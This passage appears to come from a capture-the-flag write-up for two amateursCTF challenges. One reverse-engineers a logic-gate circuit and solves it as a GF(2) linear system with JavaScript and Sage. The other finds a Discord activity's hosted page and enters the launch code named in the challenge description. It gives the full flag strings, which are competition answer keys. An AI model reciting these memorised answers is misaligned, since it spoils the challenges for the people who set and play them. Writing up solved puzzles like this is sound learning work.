Similarly, there are slanted rows that start either powered or unpowered and travel through the matrix, with extra power sources along the way that presumably act as NOT gates. We can work out their exact behavior by applying the propagation rules manually. Recall that each cell is updated once in row-major order, and a wire becomes powered if exactly one neighboring cell is powered. The result is:

1

X

¬X

X

¬X

¬X

So it is indeed a NOT gate.

As for the complex gate, it has 3 inputs and 3 outputs, though the bottom 2 outputs are linked and the top 2 inputs come from either the same choice cell or a previous pair of bottom 2 outputs, so we know them to be the same:

Y

Y

X

X⊕Y

X⊕Y

X⊕Y

Y

X⊕Y

X

Y

Y

X⊕Y

Y

Y

X⊕Y

Y

Y

X⊕Y

Y

Y

It thus performs a XOR on the row value while letting the column value pass through.

Note that there is a slight variation with one wire cell missing at the left top input:

╳

Y

X

X

X

X

Y

X

X⊕Y

Y

Y

X

Y

Y

X

Y

Y

X

Y

Y

It thus lets both values pass through.

The net effect is that a given row's value is XOR'd with every column value whose XOR gate is not missing a wire cell, and NOT'd once for every power cell on its row. (Order doesn't matter due to commutativity of the operations.)

At the right edge, we find that the row values are merged with a different gate:

The weird connection from the end of the row to the left input of the gate is just flair. The gate itself performs:

1

1

X

S

¬X

¬S

X∧S

X∧S

where the middle cell simplifies from ¬(¬X)∧¬(¬S). Thus, it is an AND gate. The bottom-right-most cell is the cell the script checks is powered, so we need every row to be powered at the end.

The math

Let

$f_i$ denote whether the

$i$-th choice cell was replaced with power (

$f_i=1$) or not (

$f_i=0$). Let

$m_{i,j}$ denote whether the gate at the

$i$-th row and

$j$-th column is a XOR gate (

$m_{i,j}=1$) rather than a pass-through (

$m_{i,j}=0$).

If row

$i$ has

$n_i$ powered cells (including the initial leftmost cell), the requirement that the row be is powered is given by

$$n_i+\sum _j{m}_{i,j}{f}_j\equiv 1(\mathrm{mod}2)$$since XOR is equivalent to addition modulo 2.

The resulting system of equations can be expressed as a Boolean matrix equation:

$$M\overrightarrow{f}=\overrightarrow{1}-\overrightarrow{n}=\mathrm{\neg }\overrightarrow{n}.$$

It remains to determine

$\overrightarrow{n}$ and

$M$ by extracting the positions of the NOT gates and the missing wire cells.

import fs from "fs/promises";
import assert from "assert/strict";

const [sw, sl, server_map] = (await fs.readFile("out.txt")).toString().split("/");
const w = +sw;
const l = +sl;
console.log(w, l);

assert.equal(w * l, server_map.length / 2);

const EMPTY = Symbol("empty");
const WIRE = Symbol("wire");
const POWER = Symbol("power");
const CHOICE = Symbol("choice");
const tiles = {
    "g0": EMPTY,
    "^0": CHOICE,
    ";3": WIRE,
    "$0": POWER,
};

function grid(x, y) {
    assert.ok(0 <= x && x < w && 0 <= y && y < l);
    const i = x + w*y;
    return tiles[server_map.slice(2*i,2*i+2)];
}

const res = [];
for (let i = 0;; ++i) {
    const tile = grid(3, 17+14*i);
    if (tile === EMPTY) break;
    let val = tile === POWER;
    let x = 17;
    let y = 23+14*i;
    while (x <= 8618) {
        const tile = grid(x, y);
        assert.notEqual(tile, WIRE);
        val = val !== (tile === POWER);
        x += 14;
        y += 7;
    }
    res.push(val ? 0 : 1);
}
const n = res.length;
console.log(n);

const mat = [];
for (let i = 0; i < n; ++i) {
    const row = [];
    mat.push(row);
    let x = 8;
    let y = 16+14*i;
    while (x <= 8618) {
        const tile = grid(x, y);
        assert.notEqual(tile, POWER);
        row.push(tile === WIRE ? 1 : 0);
        x += 14;
        y += 7;
    }
}
const m = mat[0].length;
console.log(m);

await fs.writeFile("data.txt", `\
[${res.join(",")}]
[${mat.map(row=>`[${row.join(",")}]`).join(",")}]
`);

The equation can be solved with e.g. Sage.

data = open("data.txt").read().split("\n")

R = Integers(2)
res = vector(R, eval(data[0]))
mat = Matrix(R, eval(data[1]))
print(rank(mat))

flag = mat.solve_right(res)
for offset in mat.right_kernel():
    try:
        bitstring = "".join(str(i) for i in flag + offset)
        print("amateursCTF{" + bytes.fromhex(hex(int(bitstring, 2))[2:]).decode() + "}")
    except:
        print(".")

Flag: amateursCTF{5hR13kbu1bS_Ar3_Th3_B3s7_b3c4uS3_th3y_a110W_m3_t0_c0n5trUcT_CircU1ts_68bbf319}

oops

When I solved this challenge, I didn't realize that the matrix was singular and just assumed the solution .solve_right() gave was unique. As a result, the solution I initially found was invalid ASCII. I fiddled with the data and found that inverting the matrix entries rather than the output vector got the flag.

Only as I was writing this did I realize what was going on. That the flag is a solution to the altered system is because for solutions with an odd number of bits, which the flag happens to be, the systems are equivalent. Furthermore, both matrices' kernels have dimension 1, so there is a "line" of only two solutions, and Sage happened to pick the (in)correct one.

bears-flagcord

Description

We're building the next generation flag sharing social media inside discord! Join us for the fun flag sharing activity, well uhm actually I might need to finish testing my code. Use code "flag" to get instant access to the flag! https://discord.com/oauth2/authorize?client_id=1223421353907064913&permissions=0&scope=bot

Solution

author: goose

While loading the /oauth2/authorize link provided in the challenge, we see the following response sent while loading the page:

    "application": {
        "id": "1223421353907064913",
        "name": "Bear Flag Social",
        "icon": null,
        "description": "",
        "summary": "",
        "type": null,
        "is_monetized": false,
        "hook": true,
        "bot_public": false,
        "bot_require_code_grant": false,
        "integration_types_config": {
            "0": {}
        },
        "verify_key": "f4ba444d9452d7ed75241c52238e37a1a42594d1e3863b7025f553299c9b2fe6",
        "flags": 131072,
        "max_participants": null
    }

It turns out that the description of the challenge is very important:

We're building the next generation flag sharing social media inside discord! Join us for the fun flag sharing activity, well uhm actually I might need to finish testing my code. Use code "flag" to get instant access to the flag!

The key word here, activity, means a Discord activity. The application.flags field being 131072 indicates that the application is embedded within the Discord client.

Googling this, it means the bot is associated with an activity (those voice channel games).

If we look at the network tab while we join another activity, we can see that a request to https://[application ID].discordsays.com is made. According to Reddit, this is the domain where Discord activities are hosted. After going to https://1223421353907064913.discordsays.com, we find a place to input some "launch code." We get the flag after typing "flag" into the input (given to us in desc).

Flag: amateursCTF{p0v_ac3ss_c0ntr0l_bypass_afd6e94d}